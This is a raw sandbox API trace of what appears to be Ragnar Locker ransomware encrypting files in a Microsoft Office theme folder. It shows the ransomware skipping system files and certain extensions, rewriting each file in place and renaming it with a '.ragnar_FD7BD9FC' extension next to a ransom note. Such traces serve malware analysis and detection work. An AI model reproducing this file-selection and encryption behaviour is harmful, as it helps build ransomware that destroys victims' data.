lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0076.681] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0076.681] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0076.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0076.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0076.681] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2527) returned 1 [0076.681] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x9d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.681] GetProcessHeap () returned 0x580000 [0076.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.681] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.683] VirtualAlloc (lpAddress=0x0, dwSize=0x9df, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.683] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.683] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.683] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9df, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x9df, lpOverlapped=0x0) returned 1 [0076.683] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.683] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9df, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.683] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9df, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x9df, lpOverlapped=0x0) returned 1 [0076.683] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9df, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.683] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.683] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x9df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.683] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.684] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.684] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.684] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.684] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.684] GetProcessHeap () returned 0x580000 [0076.684] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.684] CloseHandle (hObject=0x10c) returned 1 [0076.684] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" [0076.684] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.ragnar_FD7BD9FC" [0076.684] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.686] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ff1a460, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ff1a460, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.686] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0076.686] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0076.686] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\RGNR_FD7BD9FC.txt") returned=".txt" [0076.686] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0076.686] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0076.686] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0076.687] lstrcpyW (in: lpString1=0x1eab6e, lpString2="SPRING.ELM" | out: lpString1="SPRING.ELM") returned="SPRING.ELM" [0076.687] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM") returned=".ELM" [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="autorun.inf") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="boot.ini") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="bootfont.bin") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="bootsect.bak") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="bootmgr") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="bootmgr.efi") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="bootmgfw.efi") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="desktop.ini") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="iconcache.db") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="ntldr") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="ntuser.dat") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="ntuser.dat.log") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="ntuser.ini") returned 1 [0076.687] lstrcmpiW (lpString1="SPRING.ELM", lpString2="thumbs.db") returned -1 [0076.687] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0076.687] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0076.687] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0076.687] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0076.687] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0076.687] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0076.687] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0076.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm")) returned 0x20 [0076.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0076.703] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=68337) returned 1 [0076.703] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x10ae8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.703] GetProcessHeap () returned 0x580000 [0076.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.703] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.704] VirtualAlloc (lpAddress=0x0, dwSize=0x10af1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.704] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.705] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.705] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10af1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x10af1, lpOverlapped=0x0) returned 1 [0076.706] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.707] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10af1, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.707] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10af1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x10af1, lpOverlapped=0x0) returned 1 [0076.707] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10af1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.707] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.708] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x10af1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.708] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.708] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.708] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.708] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.708] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.708] GetProcessHeap () returned 0x580000 [0076.708] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.708] CloseHandle (hObject=0x10c) returned 1 [0076.708] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" [0076.708] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.ragnar_FD7BD9FC" [0076.708] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.709] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0076.709] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0076.709] lstrcpyW (in: lpString1=0x1eab6e, lpString2="SPRING.INF" | out: lpString1="SPRING.INF") returned="SPRING.INF" [0076.709] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF") returned=".INF" [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="autorun.inf") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="boot.ini") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="bootfont.bin") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="bootsect.bak") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="bootmgr") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="bootmgr.efi") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="bootmgfw.efi") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="desktop.ini") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="iconcache.db") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="ntldr") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="ntuser.dat") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="ntuser.dat.log") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="ntuser.ini") returned 1 [0076.709] lstrcmpiW (lpString1="SPRING.INF", lpString2="thumbs.db") returned -1 [0076.709] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0076.709] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0076.709] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0076.709] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0076.709] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0076.709] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0076.709] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0076.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf")) returned 0x20 [0076.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0076.710] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=466) returned 1 [0076.710] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.711] GetProcessHeap () returned 0x580000 [0076.711] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.711] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.711] VirtualAlloc (lpAddress=0x0, dwSize=0x1d2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.712] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.712] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.712] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d2, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1d2, lpOverlapped=0x0) returned 1 [0076.712] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.712] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d2, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.712] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d2, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1d2, lpOverlapped=0x0) returned 1 [0076.712] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.712] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.712] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.712] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.712] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.712] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.713] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.713] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.713] GetProcessHeap () returned 0x580000 [0076.713] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.713] CloseHandle (hObject=0x10c) returned 1 [0076.713] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" [0076.713] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.ragnar_FD7BD9FC" [0076.713] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.713] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.713] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0076.714] lstrcpyW (in: lpString1=0x1eab6e, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0076.714] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned=".PNG" [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0076.714] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 